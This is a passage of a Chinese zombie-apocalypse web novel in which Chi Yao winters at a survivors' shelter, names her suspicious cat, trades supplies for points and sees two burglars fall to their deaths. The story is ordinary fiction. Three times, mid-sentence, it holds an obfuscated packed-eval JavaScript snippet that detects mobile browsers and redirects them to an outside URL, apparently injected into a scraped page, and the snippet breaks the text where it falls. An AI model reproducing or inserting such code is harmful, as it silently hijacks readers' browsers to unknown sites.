尽管旅人具有穿越不同世界的能力,可这哪儿是如此容易的事,池遥实在不敢保证。 “我以后找到曲卓,肯定会回来找你们的呀!” 她弯了弯眼睛,笑容苦涩,许下一个自己都不敢相信的承诺。 55. 卓越新区3 夜色渐深,郑承将池遥和吴心语送出了房间。 不知为什么,周文博一直扒着他房间的门,一看到吴心语,放在裤线旁边的手晃动个不停,脸上却还维持着一副平淡的神情,偷感十足。 池遥和郑承同时偏过头,看向旁边的吴心语。 “嗯......”吴心语被他们二人看得有几分心虚,又看一眼完全没意识到不对,还在原地傻乐的周文博,原地一跺脚,大步走过去,揪着周文博的耳朵把他薅进了房间里。 池遥和郑承站在原地面面相觑。 “他俩成了?” 半晌,池遥回过神来,问道。 “对,他们说等你回来要先告诉你。”郑承点点头,“林晟的事打击太大了,他们应该忘记说了。” “这样啊。” 这两个人在一起没什么可惊讶的,迟早的事。 吴心语一走,空荡荡的客厅只剩下了池遥和郑承两个人,池遥将面前的人上上下下打量了一遍。 身边的伙伴们聚了又散,散了又重聚,郑承是陪在她身边最久的伙伴。 “你要不要......” 她忍不住开口,话音一出又不知道该如何说下去。 她很想问郑承要不要考虑一下,一起去下一个世界,可理智又十分明白,郑承不会陪她继续走下去了。 “池遥,你之前说,所有小世界都会遭到末日的侵袭。” 多日以来形成的默契让郑承立刻理解了池遥想说的话,他停顿了一下,神色变得认真起来。 “不同世界面临的末日应该是不一样的吧,你也说了第一个迎来末日的世界,遭受的是大洪水。池遥,你要知道,我的能力是只对丧尸起效的能力。现在我们所处的末日环境,对我的能力而言,其实是个舒适区。” “我们的朋友,我们的家都在这里。比起成为旅人,我更想和大家留在避难所里,帮助和保护更多人。” “我明白了。”池遥点点头,有些怅然。 “准备什么时候出发?”郑承问。 “还不确定,我想着尽快来着。” “过几天就是元旦了,先留在这里过完元旦节,再动身吧。”郑承垂下头,笑了一下,“其实我比较希望你多呆一段时间的,香林山在城郊,离得太远,现在外面气温太低,路不好走,如果你不赶时间的话,可以等开春再走。但是你等不到吧?” 池遥点点头,她的确等不到。 没过一会儿,吴心语从周文博的房间里走出来,看到还站在原地的池遥郑承二人,有些尴尬地搓了搓手,干笑两声。 “我们明天的安排有些地方没对齐,他刚才找我商量事哈哈......” 池遥和郑承对视一眼,默契地没有揭穿。 池遥和吴心语一起回到共同居住的住所,原本小猫走在池遥的身边,但吴心语一边念叨着“好可爱的小宝宝让姐姐亲亲”一边就把小猫提溜起来抱在怀里。 不知为何,原本在池遥怀里乖得不行的猫儿,一到吴心语手里,就剧烈挣扎起来。 “什么啊!你家猫只亲近你吗?” 听到吴心语的抱怨,池遥朝她怀里看了一眼,一接触到她的目光,浑身炸毛的小东西立刻安静了下来,也不抗拒吴心语的抚摸了。 “好听话的小宝宝!”吴心语立刻对其上下其手,“对了,它叫什么名字呀?” “名字?”池遥倒是愣了片刻,“呃......它没有名字。” “没有名字?” 面对吴心语质疑的眼神,池遥再度低下头,看向对方怀里故作乖巧的小东西。 她连这小东西究竟是不是猫都不知道呢。 “我也刚捡到没几天,没顾得上给它起名呢。” 池遥把小猫翻了个面,手指提溜着后颈从吴心语怀里拎出来,给吴心语看它后腿中间的两个小铃铛,转移话题:“你看它现在成年了吗?可以做绝育了吗?” “这看着也就五个月吧?这么小还做不了绝育手术吧,不过就算想做也看看环境啊!这避难所里哪有兽医能做手术啊?” 池遥一提起绝育的话题,在她手上乖得像个玩偶的小猫顿时剧烈挣扎起来,池遥一松手,小猫就立刻跃到地面上,看起来很想立刻溜走,但窜到门口时又回头看了一眼池遥,又灰溜溜地回到了池遥脚边。 池遥和吴心语都没说话,两人紧盯着小猫这一连串的行动,过了一会儿,吴心语忍不住感叹一句。 “池遥,你的猫猫好聪明!好通人性!” 这哪里是通人性,池遥在心底暗叹一声,这简直已经超越了小猫的智商上限。 她再一次怀疑起这只小猫的物种分类。 她稍微垂下手,小猫就凑上来,将毛茸茸的脑袋抵在她手心里,撒娇般晃了晃。 小猫虽然可疑,可实在太会撒娇,让她招架不住。 吴心语和池遥的两位舍友都对乖巧又漂亮的小猫宠爱有加,三人围着小猫玩了好一会儿。 “这是哪种猫猫呀?”赵一宁问道。 池遥摇摇头,她对猫咪种类了解不多,这只小猫和她认识的所有品种猫长得都不一样。 四人中对猫咪最为了解的吴心语上上下下看了一圈,给出结论。 “应该是纯白高地猫吧?” “高地猫?” 面对另外三人茫然的表情,吴心语又补充一句。 “就是折耳猫的一种。” “折耳猫?”这下,三人都听懂了,提出疑问,“是那种有基础病的猫猫吗?” 池遥沉默了,看向被舍友们团团包围的小猫。 只不过,想起自己最初见到这只小猫,它矫健地周旋在一大群丧尸中间的身影时,又摇了摇头。 如果真的是一只养尊处优,有基础病的宠物猫,恐怕不会有如此敏锐的反应能力。 它必然不只是一只普通小猫。 但此时,在得知它是折耳猫后,池遥反而有些希望它另有其他真实身份了。 “真不给它起个名字吗?”玩了会儿,吴心语再次建议道,“也不能总是叫它小猫吧?你随便想一个怎么样?比如小白?” 听到吴心语的话,小猫浑身的毛发肉眼可见地炸了一下,随后立刻挣脱了吴心语的手,跳到了池遥怀里。 “它这是不喜欢吗?” 吴心语明显被打击到了,表情有几分尴尬。 “小白有点太大众了吧。”池遥伸出手摸着怀里温热的小东西柔软的皮毛,手感格 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402338|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外柔软,毛绒绒的,“要不然叫绒绒呢?它毛绒绒的。” “好名字啊。”吴心语跟着点头。 小猫从池遥怀里抬起头看她,软糯地叫了一声,似乎没什么反抗的情绪。 “那以后就叫你绒绒了。” 池遥手指轻点绒绒的脑门,拍板决定。 和同伴们团聚的一晚十分宝贵,池遥等人各自回房间的时候已经很晚了。 到了第二天,明显睡眠不足的池遥跟着郑承去见了江北避难所的管理人。 不算上池遥,江北避难所里共有四十多位天赋者,每个人的能力各不相同,涵盖了不同领域,几天前岳溪的到来更是大大缓解了避难所内的资源压力。 除天赋者以外,卓越新区内还有三百多位普通人,分散在不同地方做不同工作。比起派大量普通人进行外出侦查工作的常青中学,卓越新区反而取消了让普通人外出侦查的工作,只让固定几位能力适合外出的天赋者组成小组定期外出,例如有防护罩能力的吴心语。 卓越新区采取点数制,普通人和天赋者通过工作换取点数,点数相当于避难所内的通用货币,用点数换取一切。 卓越新区的管理者共三人,也是最先在此处建立起避难所的三位天赋者,一人负责管理天赋者,一人负责管理普通人,最后一人负责除此之外的大小杂事。 郑承带池遥见的是最后一位管理人,他是三位管理者中最年轻的一个,看着不到三十岁,名叫白麟越,身形瘦长,脸庞白净秀气,气质温和,看起来并不精于打斗。 池遥这次主动跟郑承见避难所的负责人,是为了分享自己从殷蘅那里得来的情报。 从郑承和其他伙伴口中,她得知卓越新区避难所现在已经是北城仅有的避难所了,周围没有行尸的踪迹,但在得知了殷蘅的话之后,池遥意识到,需要防范的除了丧尸和行尸之外,还多了一种人。 从其他世界穿越而来的旅人。 他们毕竟不属于这个世界,不能不防范。 而告知对方其他世界的存在以及过去的办法,则是为了未来筹划,万一有一天,避难所迎来了灭顶之灾,又或者这个世界遭遇了重大灾难,大家还有退路可走。 “卓越新区商圈周围的高墙是我操纵土壤建成的。”在池遥分享过她的情报后,白麟越三两句话简单介绍了他的能力,“后面的小区周围因为有现成的围栏,我就没有动手。我们这里能力和电力有关的天赋者给小区围栏围上了电网,每天天黑后就启动电网,只要不碰上成群结队的行尸,安全性还是很好的。” 最后一句话,想必是他在知道常青中学的结局后加上的。 “避难所里的天赋者能力各异,有和植物生长有关的天赋者,有和水有关的天赋者,也有像岳溪那样和食物有关的天赋者。”白麟越对池遥介绍道,“我用能力加厚了这边建筑的外墙厚度,尽可能改良了室内温度,把商圈的电影院改造成了温室种植区,很多普通人在那边帮忙。” “商圈里的公用浴室每天提供三个小时的热水供应,是会操控水的天赋者负责的。食物方面有以岳溪为首的天赋者负责。” 池遥点点头,因为有这些天赋者的能力,卓越新区才能一直维持在资源勉强自给自足的状态。 56. 卓越新区4 卓越新区的天赋者种类比池遥预想的还要多样,想到电力,池遥忽然想起自己空间里似乎收纳了不少电器。 “这里还有能控制电力的天赋者?” “有的,但她的能力不强,只能控制一样物品或一定范围内的电力。所以只负责小区的电网。” 白麟越点点头,回答了她的问题。 “我有一台打印机,想用电复印一些资料,她会帮忙吗?” “她只接受点数交易,只要给的够多,她一定会帮你的。”白麟越思索了一会儿,“她现在应该在商场里,如果之后没事的话,我带你过去找她。” “点数交易?”池遥犹豫了片刻,她虽然知道避难所里用点数交易的规矩,但因为她几天后就要出发去景点,因此并没有获取点数的打算,“我昨天刚到这里,还没有点数呢,他需要多少?” “获取点数的办法不止完成工作一种。”白麟越解释说,“提供情报,上交物资都有点数奖励。你刚才提供了如此重要的情报,一会儿我会给你相应点数的。” 卓越新区内用来交易的货币——点数,实际上是一种透明的DIY珠串。每一位在避难所内正式登记过身份的幸存者都会获得一条系在手腕上的红绳,平日里将获得的点数串在手绳上,使用时再从红绳上解下来,是卓越新区内最为独特的交易方式。 要离开避难所的人在离开前也要按照规定上交所有点数和手绳,才能离开。 池遥一直惦记要离开,昨天到避难所的时候时间也不早了,因此就没有去登记身份,自然还没有领到红绳。 因此,白麟越先是带着她去了一趟登记处,获得了手绳后,他亲自从自己的手腕上拨了十枚点数递给池遥,算是她提供情报的费用。 “还有一件事。”池遥隔着衣领拨弄一下脖颈处的吊坠,她过不了几天就会去到下一个世界,也要与一直在一起的伙伴们告别,这些朋友是大家一起从北城大学走到现在的,对她而言尤其珍贵。 吊坠里的很多物品,她未必用得上,留给伙伴们也无法发挥作用,还不如趁这个机会上交给避难所,换取点数。 “我这一路走来,收集了不少物资,我想交给避难所,换取点数。” 吊坠里有不少超市专卖的廉价防晒乳,护手霜,洗发水,池遥留出自己和给朋友的份量,把多余的全都掏了出来。 这些都是在黑哥离开超市基地后,她和郑承一起翻到的。 这些物品种类不多,但胜在量大,她那会儿可是和郑承把超市翻了个底朝天。 白麟越清点了一遍池遥给出的物资数量,又拨给她六枚点数。 看到池遥的吊坠时,他似乎并没有惊讶的表情,只是再次将她打量了一遍。 或许,在池遥将道具的情报告诉给他们之前,他们就已经发现了道具的存在。 现在,她已经拥有十六枚点数了。 池遥余光瞥了一眼郑承的手腕,郑承比她先到几天,手腕上也只有五颗点数,看来十六枚点数已经相对富裕了。 于是,她便不再兑换物资了,吊坠内虽然还有不少现阶段用不上的闲置物品,但在避难所内也派不上用场,能够换来的点数估计也不多。 控制电力的天赋者是个打扮得极为干练的女士,池遥一见她的模样,就想到了庄晴和文茵。 池遥找出曲卓的照片,将照片贴在白纸上半截,在下半截用签字笔大大的写下几个字。 ——寻人启事。 之后,她耐心写下了曲卓的信息和特征,多重顾虑之下,池遥只写下了曲卓外貌的基础特征,又在最底下写了一行字。 ——她的朋友池遥正在找她。 写完后,她反复端详几遍,才将手里的白纸放入打印机中。 池遥将打印机里留下的白纸全部复印成了曲卓的寻人启事,足足印了有一百多张,幸好打印机里的纸张油墨都齐全,只等了几分钟就复印好了。 她支付给天赋者两枚点数,凝视着眼前的打印机,思考要不要把它也留在避难所里,一旁的白麟越似乎看出了她的想法。 “打印机你留着,未来应该还有用吧?” 卓越新区的商圈里似乎本来就有打印机,池遥点点头,吃力地搬起打印机,收到吊坠空间里。 这台打印机是在长宁街幼儿园搜寻到的,那个时候池遥体力不支,是郑承帮她收起了这台打印机,不然仅凭池遥当时的力气,还没法搬动。 池遥攥了一下拳头,微微活动一下手臂,纤细的手臂上微微显露出一点肌肉线条。 看来在常青中学的时间,他们每日的锻炼起到了不错的效果。 很快,就到了元旦。 元旦当天,避难所内所有人休假一天,池遥和朋友们聚集在客厅里,拆开几盒临期的自热火锅包,和大家一起吃起了火锅。 七人围着四盒自热火锅,端着碗筷安静吃了一会儿,末日之下,火锅已经是极为难得的食物,池遥本以为会是大家一起其乐融融的吃火锅聊天的场景,结果自热火锅一煮好,大家就全心全意加入了抢食的争斗。 实在是太久没吃过火锅了,这些家伙眼里仿佛泛着绿光。 在这场抢食大战中,唯一一个不受影响的就是池遥,她给自己开了一盒番茄锅底的自热火锅,眼下大家围着三盒麻辣锅底的火锅盒子抢个不停,池遥默默把自己的小盒拉到自己面前,在这场没有硝烟的战争中一个人岁月静好。 绒绒靠在池遥的脚边,把自己蜷成一团,大眼睛好奇地盯着大家看。 食物消耗过半后,大家渐渐放慢了吃饭速度,逐渐聊了起来。 “准备什么时候出发?” 身边的郑承问。 他一开口问这话,所有人的目光齐刷刷汇聚到池遥身上,等着她的答案。 “明天一早就走。”池遥冲大家点点头,看向房间内同步室外温度的温度计,上面显示,此时室外温度是零下十几度。 北城地处最北方,最冷的时候可以达到零下三十度。 “进了一月份,天气估计会越来越冷。”她叹了口气,“趁着天气还没那么冷,得赶紧出发才行。” “你把宿舍里的羽绒服带上了吗?”孟然问她。 池遥点点头,她有一套零下二十度都相当保暖抗冻的羽绒服外套,此时正收在吊坠空间当中。 “从卓越新区到香林山距离可不近,你要提前规划好路线,做好准备。” 池遥认真地收下了同伴们的好意。 吃饱后,池遥将绒绒带回了她的房间,嘱咐小猫在房间里乖乖待着,才回到客厅。 周文博正在向除池遥外的三个女生展示手里的扑克牌,表情洋洋得意。 “给你们展示一下,我以前选修的心理学课堂上专门讲了怎么通过微表情识别人,今天就给你们露一手!” 他摆出十分专业的姿态,抽出大小王后用流畅的手法洗了两遍牌,将扑克牌一分为二,背面朝上放在二人面前,对坐在他正对面的赵一宁说道。 “接下来,你可以在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412883|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两份牌中任选一张牌,抽出来看一下它的花色。你可以把结果分享给孟然或者心语,但是不需要告诉我。这两摞牌,你选哪一摞?” 赵一宁看看吴心语,又看了一眼身旁的孟然,手指点点左边。 “好。”周文博点点头。 他先将另一摞纸牌放在身侧,随后摊开赵一宁选中的纸牌,示意赵一宁随便抽一张。 赵一宁便抽了一张,用手掌挡着看了扑克牌的数字和花色,又朝着孟然和吴心语的方向翻了一下,让她们也看清。 在赵一宁看牌的时间里,周文博再次将打散的扑克牌整理一遍,最后接过赵一宁还回去的纸牌,放在了这摞扑克牌最上面,再次洗牌。 “接下来,我要把这些牌分成四份,每当我摊开一组扑克牌的时候,你就要告诉我你选中的牌在不在里面。” 他分牌的动作也非常有条理,按照固定的顺序轮流分牌。 “好了。”他摊开第一组纸牌,看向赵一宁,“你选中的牌在这些牌里面吗?” 赵一宁先是看了一眼身边的孟然和吴心语,此时这两人都围了过来。她又看向纸牌,快速浏览后点了点头。 “接下来,我会再把它们分成四份。” 周文博边说,手上动作没停,这一次,每一份只剩下了三四张牌。 他摊开第一份纸牌,没有立刻发问,而是盯着赵一宁的脸,片刻后,摇了摇头。 “看来不是这几张。” 不等赵一宁回答,他继续翻开第二份纸牌。 “也不是这几张。” 最后两份纸牌被同时翻开,共有七张。 “看来你的选择一定在这七张牌里了。”周文博抬起头,直视赵一宁的眼睛,过了一会儿,从七张牌中排除了四张牌。 “这些也不是。现在就剩下了三张牌,让我猜一猜......”他的语气愈发高深莫测,突然用二指夹起一张牌,“方片七!对不对?” “哇!”收获了赵一宁和孟然的惊叹声。 “孟然你玩不玩?”周文博将自己的魔爪伸向了孟然,“下次你来抽牌试试?” “行呀。” 孟然立刻坐到了赵一宁的位置上。 还是熟悉的流程,最后,周文博洋洋得意地抽出一张牌。 “红桃十,对吧!” 然而,这一次,孟然却侧过头,看向了吴心语和赵一宁,赵一宁捂着嘴笑得很开心,看到她这幅样子,孟然和吴心语也跟着笑了。 “你看,一猜即中!”看到三人的反应,周文博更加得意,“没错吧?” “人家抽的是黑桃2。”吴心语一边笑,一边毫不留情的揭穿了他,“你这次算错了吧?” “说什么呢?我怎么可能算牌?凭空污蔑好人啊你!” 几人闹作一团。 另一边,池遥拉着郑承,在一旁的笑闹声掩饰之下,轻声交谈。 “郑承,我临走前,想拜托你最后一件事。” “你说。” “我在来避难所的路上,捡了一只猫,取名叫绒绒。” “这只猫很奇怪,很可疑,浑身上下都是疑点。但也有一部分可能,它真的就只是一只福大命大,幸存到现在的小猫咪。” 说这话时,池遥的手指无意识地绞在一起。 “我这次去的地方还不知道是什么情况,不可能把小猫一起带走,到时候会转交给心语让她照顾,你一定要留意。它可能是一只猫,也有可能,是除了猫以外的其他东西。” 57. 卓越新区5 一片黑暗中,有些许轻微的,属于人类的呼吸声响起,紧接着,从极近的距离,传来两个人的说话声。 “哥,你确定,这里就是那几个新来的天赋者们的住处吗?” “对,听别人说,这些天赋者们一来就拿出了不少物资换点数,估计手头的好东西不止上交的那些,肯定还有别的物资!” 没有光源的角落里,安安静静蜷缩成一团的毛团抬起头,一只毛绒绒的耳朵微不可闻地震颤一下。 漆黑的墙壁上陡然出现些许亮光,房间的窗户被外面的人轻易拨开,两个人影悄无声息地翻了进来,落入池遥的房间里。 池遥此时不在房间内,屋里一片昏黑,唯一的光源来自于两个闯入者手中的小手电筒。 隐隐约约,还能听到周文博等人在客厅的笑闹声。 “看来他们在客厅里,我们行动要小心一点。” “知道了,哥,这是哪个天赋者的房间?” “那个上交了一大堆物资的人应该就住在这间房,小心着点,这一次要是成功了,能换不少点数!” 二人放轻了声音交谈,一边转动手电筒,小心翼翼地在不大的房间内挪动起来。 手电筒的光芒有限,只能依稀照到一两米远的位置,但对于池遥这个不大的小房间而言,已经足够了。两人很快围绕着空荡荡的房间搜索一圈,毫无收获。 池遥原本就随身带着空间吊坠,大部分物品都不会留在房间里,但为了不引起注意,一向会把自己常用的物品放在房间里,然而这两人的时间赶得不巧,池遥原本预想着第二天一早就动身离开,早就做好了充分准备,将所有物品收纳到吊坠当中,她房间的干净程度简直堪比毛坯房,桌椅橱柜比脸都干净。 “我靠,怎么什么都没有?这房间该不会没人住吧?” “你再好好翻翻,尤其是抽屉和柜子,就算这个房间没人住,多少也得有点东西吧?” 客厅内,周文博被吴心语揭穿,四人吵闹起来声音更大,一道门根本挡不住,完全盖过了池遥屋里二人说话的动静。 两个窃贼中身形较高的那人愤愤地抱怨几声,却没听到同伴的声音。 “你怎么回事?怎么不说话?” 他连忙转过身,却发现,同伴原先站立的位置,此刻空无一人。 不仅如此,四周根本就没有同伴的身影。 什么情况? 手中的手电筒光线闪烁了一下,他余光似乎瞟到了什么,急忙蹲下身,低头看向地面。 不知何时,他的同伙已经倒在了地上,双眼紧闭,生死未卜! “喂!出什么事了?” 他的第一反应是蹲下身,去摇晃同伴的肩膀,可当他靠近时,突然发现,倒在地上的同伴脑袋旁,似乎还有一只脚。 一只清瘦,白皙,甚至因为过于苍白而显得有几分精致和秀气的脚。 上方连接着的踝骨也格外精致,似乎用一只手就可以紧紧握住。 这是不属于他,也不属于同伴,属于这房间里未曾露面的第三人的一只脚。 窃贼的手不受控制地颤抖起来,他抖着手,虚虚握着手电筒,在闪烁不定的光辉之下,他依稀看清了。 站在他对面的,正是一个人! 一个他从未见过,避难所的天赋者名单上也未曾记载的人。 此时,客厅里的池遥和郑承还在讨论关于猫的问题。 “你的意思是,你那只猫,有可能是个人?”郑承第一时间观察池遥的表情,但当他发现池遥说完这句话之后神色更加凝重,就知道对方没有在骗人。 池遥说她的猫实际上可能是个人,这句话实在有些荒谬。 但在存在天赋者,异能力,丧尸等等的世界里,没有什么是不可能的。 郑承思考了片刻,皱着眉头消化了这个荒唐的想法。 “你说的有道理,但,如果这只猫真的是人变成的,你是在哪里遇到它的?” 池遥于是将自己和绒绒的事详细地讲给了郑承。 “它的表现其实说是一只小猫倒也说得过去,但它实在太干净了,也太聪明了。如果之后我能一直把它带在身边,那倒还好,但我要去的景点似乎是只有天赋者才能去到的地方,如果它真的只是一只普通小猫,我总不能把它留在香林山,一个人去下一个世界呀。” 郑承点点头,他明白池遥的顾虑。 无论绒绒在她眼里有多可疑,只要它的身份尚未确定,池遥就不会冒着风险将它带走。 “我明白了,我会盯着它的。” “哦对了,它还没绝育。”池遥忍不住重新提起,“它是只小公猫,我记得好像公猫的绝育手术不是那么麻烦,避难所里如果有兽医的话,你可以带它去切一下。” 虽然已经是末世了,但流浪猫绝育还是要做好的,不能因为末日降临让小猫有可乘之机! 郑承盯着池遥的脸,半晌也不知道该接什么话,脸颊不自然地抽搐一下。 “喵呜!” 似乎是感知到了池遥的话,从池遥的房间里,忽然传来一声极为尖锐的猫叫。 池遥从未听过绒绒发出如此尖锐,如此惊恐的叫声,不由地打了个寒战,一把拉起郑承,跑向自己的房间。 推开门,房间里的一切似乎毫无变化。 绒绒就在正对着窗户的墙角蜷缩着,它弓着背,大眼睛一眨不眨地盯着打开的窗户。 房间里的冷空气扑面而来,冻得池遥等人齐刷刷地打了个寒战。 房间里的窗户为什么打开了? 天气这么冷,池遥等人在室内时从不开窗,更没可能是绒绒开的窗户,那么,窗户为什么凭空打开了? 池遥把看起来受了惊吓,冲着她不停喵喵叫的绒绒抱进怀里,走到窗边,凑近了窗户后才发现,在她的窗户外,有一根自楼顶垂下来的粗麻绳,正悬在窗外。 “难道有人进来了?” 她低下头,安抚地摸摸绒绒的毛,自言自语。 但是,如果有人进到房间里的话,这个人现在在哪儿呢? “有人掉下来了!” “还活着吗?” 楼下似乎有什么骚乱声。 池遥还开着窗户,楼下的人说话的声音顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419939|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风声传进了她耳中。 “要命了,这大过节的,怎么还有人跳楼啊?” “而且还是两个人,从这么高的地方摔下来,真是遭罪啊!” 楼下的人们的对话一字不落地传到池遥的耳朵里。 她的手还在重复着抚摸绒绒的皮毛这一动作,只是手掌停在了小猫的头顶,用大拇指轻轻地扫小猫脑袋顶上柔软的毛,同时也遮住了它看向池遥的视线。 郑承只能看到她微微低着头,面色凝重,一言不发。 过了一会儿,她才调整好心情,将绒绒放回地面上,冲来房间打探情况的周文博等人解释道。 “刚才好像有小偷想翻窗进房间偷东西,幸好绒绒看到之后叫了一声。小偷估计是没想到房间里还有人,吓了一跳,失手摔下去了。” 绒绒刚刚的叫声太尖利,太过凄惨,大家都听到了,于是纷纷点头,很快就接收了池遥的说法。 唯有郑承和池遥对视一眼,他看到了池遥隐在眼底的担忧。 出了这件事,原本想继续玩一会儿的大家也都没了心情,各自回到了各自的房间,池遥想第二天一早就出发离开,也早早进入了梦乡,然而,天刚蒙蒙亮,住宅大门就被敲响了。 门外站着的人是白麟越,青年一向温和白净的面孔上顶着两个硕大的黑眼圈,看到池遥时,冲她露出一个苦笑。 “抱歉,池遥,我知道你一会儿就要离开了。但昨天晚上你们居住的这栋楼发生了惨不忍睹的坠楼事件,坠楼位置似乎在你们这层楼,方便给我一些时间,跟我去我办公的地方,我们谈一谈昨天的事吗?” 池遥不可能不答应。 她没有提及绒绒的怪异之处,将自己对其他朋友的话又重新对白麟越说了一遍,只说自己当时不在房间里,听到猫叫声才回房间,此时两个小偷已经失足摔落了。 “我们在楼顶发现了他们的麻绳等工具,在尸体身上搜出了他们偷的不少小物件。你昨天检查房间了吗?有没有丢东西?” 原来白麟越找她是为了这件事。 池遥在心中暗暗松了口气。 “没事的,我原本打算今天出发,昨天下午就把所有东西都收拾打包起来了。” 她能感受到,在她说这话时,白麟越的目光从她脖颈处掠过。 “新区里也有天赋者有和你类似的道具。”这一次,他解释了一句,便转移了话题。 “失足摔下去的两人在避难所里风评也不太好,以前也有流言说他们偷东西,只是一直没有被抓到过。” 池遥默默点头。 她这下明白了,无论发生了什么,这两个人的死,白麟越并不打算追究。 两人又聊了一段时间,告别时已经到了中午,白麟越送池遥走出室内,刚推开门,一阵凛冽的寒风就打在池遥脸上,脸上密密麻麻泛起仿佛被针扎一样的疼痛。 肉眼可见的偌大雪花直接扑在了池遥的脸上。 二人抬起头,愣愣地看着天空。 只是耽误了一上午的时间,北城市就下起了鹅毛大雪。 这下,是真的无法离开避难所了。 58. 卓越新区6 这场大雪下了足足一个月。 和大雪一同到来的是骤降的气温与愈加艰难的路况,池遥权衡了许久,决定暂且留在避难所里过冬。 得知池遥要继续留下的消息,除了池遥本人,其他所有朋友一致表现出了开心和激动的情绪。 因此,几天后,池遥再度在住宅楼一楼避风处摆了张桌子,重新开设了一个“医疗角”,限制人次从之前的每日五人变成了每日十人。 时值严冬,这一次,她接手的大部分患者都是冻伤,很多幸存者没有充足的衣物储备,差点没熬过这个冬天。 在骤降至零下三十度的恶劣环境之下,丧尸也纷纷陷入了冻僵状态。 幸好避难所里的天赋者数量多,以白麟越为首的一众天赋者用尽了能力,对住宅楼进行了二次加固,尽管室内的温度仍旧不高,但也比室外温暖多了。 白麟越等人使用能力时,为了防止能力失控,要将住宅楼内的所有幸存者撤离出去,大多数普通人都去了前方的商场内,而池遥等人则留在了楼下,围观他们的施工过程。 “幸好我们在避难所里,不然要是不在市区里,我都想不到幸存者该怎么过冬。” 看着白麟越等人,周文博深感现状不易,忍不住感慨了一句。 “也不一定吧,农村还能烧火炕呢,说不定过得比我们还滋润。”吴心语在一旁毫不留情地怼回去。 池遥站在在一旁,怀里抱着绒绒,听着这两个家伙的对话,不由失笑。 她又将目光投向远处的白麟越。 白麟越的能力可以改变土地结构,也可以自由操纵土地,是池遥遇到过最为强大的能力,然而这能力操纵起来并不容易,池遥发现,白麟越每次使用能力之前,都要经过精密的计算,一旦操纵的土地面积过大,他的脸色就会肉眼可见变差几分。 池遥立刻明白了,他的能力只是听起来强大,真正操作起来限制诸多,劳心劳力,正因如此,他才将自己的能力全部用于建造避难所,而不是战斗之上。 末日之后,池遥见过形形色色的天赋者,大多数人的能力听起来都十分强大,但却有不可避免的限制,除了殷蘅。 但池遥对殷蘅的能力并未深入了解,只是一想到殷蘅惨白的脸色,池遥又无法断言他的能力没有副作用。 比起其他人,她的能力或许不强,但胜在能力的限制会随着每一次升级慢慢消失。 在来到避难所后,池遥也尝试着使用过几次新能力,每次在医疗角遇到捣乱的病人时,她就会悄悄动用一点点能力。只不过新能力毕竟是抽取其他人的生命力,池遥每次只敢抽取一点点,并不算是完全掌握了新能力。 渐渐的,她似乎慢慢理解了殷蘅当时对她说的话。 觉醒者为何会如此遭受天赋者们的忌惮,又仅仅因为身份就遭到天赋者的追杀。 她渐渐能够理解了。 “喵呜!” 怀里的叫声唤回了她的意识,池遥回过神来,才发现身边的郑承似乎在对她说话。 “你还好吗?” 郑承的眼神似乎很担心。 池遥愣了一下,低下头,才发现怀里的绒绒也在仰头看她。 “你的表情特别严肃哦。”吴心语不知什么时候也停下了和周文博的拌嘴,担心地看着她。 周文博站在吴心语身边,也盯着她看。 “......没事。” 沉默半晌,池遥深吸一口气,扬起一个笑容。 能够遇到这群朋友真是太好了。 她空闲的另一只手搭在绒绒身上,安抚地揉了揉它的小脑袋。 除夕这一天,卓越新区的食堂破天荒包了饺子,由于材料稀缺,每个人只分到了一只,饺子个头很小,扁扁的,但却传达了新年的美好寓意。 过了除夕,气温渐渐回升,到了二月份,已经回到了零下十几度。 气温一开始回升,郑承就恢复了每天去江堤旁巡视的任务,天气最冷的时候,避难所的人们也没有停下行动,他们将一部分江堤也圈进了避难所的区域范围内。 这次,池遥也跟着郑承一同去了江边。 横跨北城的这条江是北城赖以生存的江流,连带着江水两边的堤岸也成了有名的旅游景点,北城本地人闲暇时经常在此闲逛。 池遥年幼时也经常来这个地方。 卓越新区临近的江堤并不是游客常来的路段,景色却并不逊色,池遥和郑承穿得都很保暖,走着走着,步速就慢了下来。 江岸附近修建了一整排长椅,此时长椅上满是积雪,无比萧条。 池遥驻足,盯着长椅看了一会儿,轻轻地叹了口气。 见她没跟上来,郑承在前方等她,等池遥追上来后,两人将负责的这段江堤走过一遍,并肩站在江堤的围栏边,眺望着遥远的冰面。 “以前江面上总是很热闹。”郑承轻声开口。 “冬季的时候,冰面上会设立各种冰上项目,有雪橇犬拉雪圈,还有冰滑梯可以玩。” “春夏也很意思,有两元一次的游船,还有速度很快的快艇,我以前还去问过价格,但实在太贵了。” 池遥垂着眼,静静听着他的话,一声不吭,直到郑承不再言语,才开了口。 